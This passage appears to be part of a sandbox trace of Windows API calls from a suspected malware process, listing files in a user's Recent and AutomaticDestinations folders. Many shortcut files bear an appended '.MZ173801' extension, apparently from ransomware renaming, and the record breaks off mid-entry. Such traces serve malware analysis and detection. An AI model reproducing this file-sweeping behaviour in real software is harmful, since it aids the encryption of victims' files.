FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e860a1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7126d4eb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81c624db, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="5B1wK SInIEY1XG8.lnk.MZ173801", cAlternateFileName="5B1WKS~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf11abd1c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x3fd63894, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81c624db, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="5DFJaZ09zxpj.lnk.MZ173801", cAlternateFileName="5DFJAZ~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82552fa2, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x82552fa2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x82552fa2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3d1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7R_Y-MD8.lnk", cAlternateFileName="")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f83a7c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4e492120, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81c88695, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7uaJhnURa.lnk.MZ173801", cAlternateFileName="7UAJHN~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5493395a, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5493395a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81c88695, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x596, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="7xXZSvgm4j.lnk.MZ173801", cAlternateFileName="7XXZSV~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ec4ede, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4ec4ede, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x81cae90d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3e5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="8SsQp4xZlzVC.lnk.MZ173801", cAlternateFileName="8SSQP4~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf115ad1f, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x552245be, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81cfaea5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9qqaMDM.lnk.MZ173801", cAlternateFileName="9QQAMD~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ca166e, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x53ca166e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81cfaea5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9rQNK dYKtJL.lnk.MZ173801", cAlternateFileName="9RQNKD~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4751a36, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7078c9ac, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81d210c7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9y41-fr3PlkYnrNFG2e.lnk.MZ173801", cAlternateFileName="9Y41-F~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b499cd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54b499cd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81d47297, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="aUIpFDwEiCcpzrSkPaW0.lnk.MZ173801", cAlternateFileName="AUIPFD~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47c1e0a8, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x47c1e0a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x81d6d4d0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="AuJwOyKnChH.lnk.MZ173801", cAlternateFileName="AUJWOY~1.MZ1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0153.184] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.184] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.184] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef93d305, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef93d305, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x651ffc2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x651ffc2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x651ffc2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="162797d679096999.automaticDestinations-ms", cAlternateFileName="162797~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce308d7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ce308d7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92aa4b2b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef93d305, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xef93d305, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf003e27c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1b5accfe55e03fc4.automaticDestinations-ms", cAlternateFileName="1B5ACC~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6623dd20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6623dd20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66263f3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1b6ebacd7cd2f25a.automaticDestinations-ms", cAlternateFileName="1B6EBA~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66a9610b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66a9610b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66a9610b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1bc9bbbe61f14501.automaticDestinations-ms", cAlternateFileName="1BC9BB~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0b5bcc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3f0b5bcc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x91fc39db, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="319f01bf9fe00f2d.automaticDestinations-ms", cAlternateFileName="319F01~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658b4643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x658b4643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x658b4643, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="5175b273ceba776b.automaticDestinations-ms", cAlternateFileName="5175B2~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x855e6de4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b05a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="5f7b5f1e01b83767.automaticDestinations-ms", cAlternateFileName="5F7B5F~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6c3a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64e6c3a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64e6c3a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="61ebb1e65cfcb8da.automaticDestinations-ms", cAlternateFileName="61EBB1~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.185] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef89c12b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef89c12b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef89c12b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="6824f4a902c78fbd.automaticDestinations-ms", cAlternateFileName="6824F4~1.AUT")) returned 1 [0153.185] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.185] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e75d9e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66e75d9e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66e75d9e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="6d2bac8f1edf6668.automaticDestinations-ms", cAlternateFileName="6D2BAC~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66669e90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66669e90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66669e90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="75668a91ce73b054.automaticDestinations-ms", cAlternateFileName="75668A~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a61ae6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67a61ae6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67a61ae6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="78f0afb5bd4bb278.automaticDestinations-ms", cAlternateFileName="78F0AF~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f27bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37f27bc, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5bc77d9d, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cba52e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x65cba52e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65cba52e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="80d13f95c2c02af9.automaticDestinations-ms", cAlternateFileName="80D13F~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6765bb0e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6765bb0e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6765bb0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, 